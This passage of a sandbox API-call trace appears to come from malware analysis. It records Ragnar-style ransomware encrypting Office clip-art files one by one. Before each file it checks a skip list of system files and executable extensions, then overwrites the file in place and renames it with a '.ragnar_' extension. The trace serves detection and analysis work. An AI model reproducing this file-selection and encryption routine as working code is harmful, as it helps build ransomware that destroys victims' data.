lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4030, lpOverlapped=0x0) returned 1 [0084.739] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4030, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.739] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.740] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4030, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.740] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.740] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.740] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.740] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.740] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.740] GetProcessHeap () returned 0x580000 [0084.740] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.740] CloseHandle (hObject=0xf4) returned 1 [0084.740] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" [0084.740] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.ragnar_FD7BD9FC" [0084.740] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.741] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3eb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152558.WMF", cAlternateFileName="")) returned 1 [0084.741] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.741] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152558.WMF" | out: lpString1="J0152558.WMF") returned="J0152558.WMF" [0084.741] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned=".WMF" [0084.741] lstrcmpiW (lpString1="J0152558.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.741] lstrcmpiW (lpString1="J0152558.WMF", lpString2="autorun.inf") returned 1 [0084.741] lstrcmpiW (lpString1="J0152558.WMF", lpString2="boot.ini") returned 1 [0084.741] lstrcmpiW (lpString1="J0152558.WMF", lpString2="bootfont.bin") returned 1 [0084.741] lstrcmpiW (lpString1="J0152558.WMF", lpString2="bootsect.bak") returned 1 [0084.741] lstrcmpiW (lpString1="J0152558.WMF", lpString2="bootmgr") returned 1 [0084.741] lstrcmpiW (lpString1="J0152558.WMF", lpString2="bootmgr.efi") returned 1 [0084.741] lstrcmpiW (lpString1="J0152558.WMF", lpString2="bootmgfw.efi") returned 1 [0084.741] lstrcmpiW (lpString1="J0152558.WMF", lpString2="desktop.ini") returned 1 [0084.741] lstrcmpiW (lpString1="J0152558.WMF", lpString2="iconcache.db") returned 1 [0084.741] lstrcmpiW (lpString1="J0152558.WMF", lpString2="ntldr") returned -1 [0084.741] lstrcmpiW (lpString1="J0152558.WMF", lpString2="ntuser.dat") returned -1 [0084.741] lstrcmpiW (lpString1="J0152558.WMF", lpString2="ntuser.dat.log") returned -1 [0084.741] lstrcmpiW (lpString1="J0152558.WMF", lpString2="ntuser.ini") returned -1 [0084.741] lstrcmpiW (lpString1="J0152558.WMF", lpString2="thumbs.db") returned -1 [0084.741] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.741] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.741] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.741] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.741] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.741] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.741] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf")) returned 0x20 [0084.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.742] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16052) returned 1 [0084.742] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3eab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.742] GetProcessHeap () returned 0x580000 [0084.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.742] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.743] VirtualAlloc (lpAddress=0x0, dwSize=0x3eb4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.744] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.744] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.744] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3eb4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3eb4, lpOverlapped=0x0) returned 1 [0084.745] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.745] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3eb4, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.745] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3eb4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3eb4, lpOverlapped=0x0) returned 1 [0084.745] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3eb4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.745] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.745] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3eb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.745] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.745] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.746] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.746] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.746] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.746] GetProcessHeap () returned 0x580000 [0084.746] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.746] CloseHandle (hObject=0xf4) returned 1 [0084.746] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" [0084.746] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.ragnar_FD7BD9FC" [0084.746] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.747] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152560.WMF", cAlternateFileName="")) returned 1 [0084.747] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.747] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152560.WMF" | out: lpString1="J0152560.WMF") returned="J0152560.WMF" [0084.747] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned=".WMF" [0084.747] lstrcmpiW (lpString1="J0152560.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.747] lstrcmpiW (lpString1="J0152560.WMF", lpString2="autorun.inf") returned 1 [0084.747] lstrcmpiW (lpString1="J0152560.WMF", lpString2="boot.ini") returned 1 [0084.747] lstrcmpiW (lpString1="J0152560.WMF", lpString2="bootfont.bin") returned 1 [0084.747] lstrcmpiW (lpString1="J0152560.WMF", lpString2="bootsect.bak") returned 1 [0084.747] lstrcmpiW (lpString1="J0152560.WMF", lpString2="bootmgr") returned 1 [0084.747] lstrcmpiW (lpString1="J0152560.WMF", lpString2="bootmgr.efi") returned 1 [0084.747] lstrcmpiW (lpString1="J0152560.WMF", lpString2="bootmgfw.efi") returned 1 [0084.747] lstrcmpiW (lpString1="J0152560.WMF", lpString2="desktop.ini") returned 1 [0084.747] lstrcmpiW (lpString1="J0152560.WMF", lpString2="iconcache.db") returned 1 [0084.747] lstrcmpiW (lpString1="J0152560.WMF", lpString2="ntldr") returned -1 [0084.747] lstrcmpiW (lpString1="J0152560.WMF", lpString2="ntuser.dat") returned -1 [0084.747] lstrcmpiW (lpString1="J0152560.WMF", lpString2="ntuser.dat.log") returned -1 [0084.747] lstrcmpiW (lpString1="J0152560.WMF", lpString2="ntuser.ini") returned -1 [0084.747] lstrcmpiW (lpString1="J0152560.WMF", lpString2="thumbs.db") returned -1 [0084.747] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.747] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.747] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.747] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.747] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.747] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.747] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf")) returned 0x20 [0084.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.748] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10880) returned 1 [0084.748] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.748] GetProcessHeap () returned 0x580000 [0084.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.748] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.749] VirtualAlloc (lpAddress=0x0, dwSize=0x2a80, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.750] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.750] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.750] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a80, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2a80, lpOverlapped=0x0) returned 1 [0084.751] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.751] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a80, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.751] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a80, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2a80, lpOverlapped=0x0) returned 1 [0084.751] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a80, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.751] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.751] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.751] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.751] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.751] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.751] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.751] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.752] GetProcessHeap () returned 0x580000 [0084.752] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.752] CloseHandle (hObject=0xf4) returned 1 [0084.752] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" [0084.752] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.ragnar_FD7BD9FC" [0084.752] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.752] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152568.WMF", cAlternateFileName="")) returned 1 [0084.752] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.752] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152568.WMF" | out: lpString1="J0152568.WMF") returned="J0152568.WMF" [0084.752] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned=".WMF" [0084.752] lstrcmpiW (lpString1="J0152568.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.752] lstrcmpiW (lpString1="J0152568.WMF", lpString2="autorun.inf") returned 1 [0084.752] lstrcmpiW (lpString1="J0152568.WMF", lpString2="boot.ini") returned 1 [0084.752] lstrcmpiW (lpString1="J0152568.WMF", lpString2="bootfont.bin") returned 1 [0084.752] lstrcmpiW (lpString1="J0152568.WMF", lpString2="bootsect.bak") returned 1 [0084.753] lstrcmpiW (lpString1="J0152568.WMF", lpString2="bootmgr") returned 1 [0084.753] lstrcmpiW (lpString1="J0152568.WMF", lpString2="bootmgr.efi") returned 1 [0084.753] lstrcmpiW (lpString1="J0152568.WMF", lpString2="bootmgfw.efi") returned 1 [0084.753] lstrcmpiW (lpString1="J0152568.WMF", lpString2="desktop.ini") returned 1 [0084.753] lstrcmpiW (lpString1="J0152568.WMF", lpString2="iconcache.db") returned 1 [0084.753] lstrcmpiW (lpString1="J0152568.WMF", lpString2="ntldr") returned -1 [0084.753] lstrcmpiW (lpString1="J0152568.WMF", lpString2="ntuser.dat") returned -1 [0084.753] lstrcmpiW (lpString1="J0152568.WMF", lpString2="ntuser.dat.log") returned -1 [0084.753] lstrcmpiW (lpString1="J0152568.WMF", lpString2="ntuser.ini") returned -1 [0084.753] lstrcmpiW (lpString1="J0152568.WMF", lpString2="thumbs.db") returned -1 [0084.753] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.753] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.753] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.753] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.753] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.753] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.753] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf")) returned 0x20 [0084.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.754] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3696) returned 1 [0084.754] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.754] GetProcessHeap () returned 0x580000 [0084.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.754] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.755] VirtualAlloc (lpAddress=0x0, dwSize=0xe70, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.756] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.756] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.756] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe70, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe70, lpOverlapped=0x0) returned 1 [0084.756] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.756] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe70, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.756] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe70, lpOverlapped=0x0) returned 1 [0084.756] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe70, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.756] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.756] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.756] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.756] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, 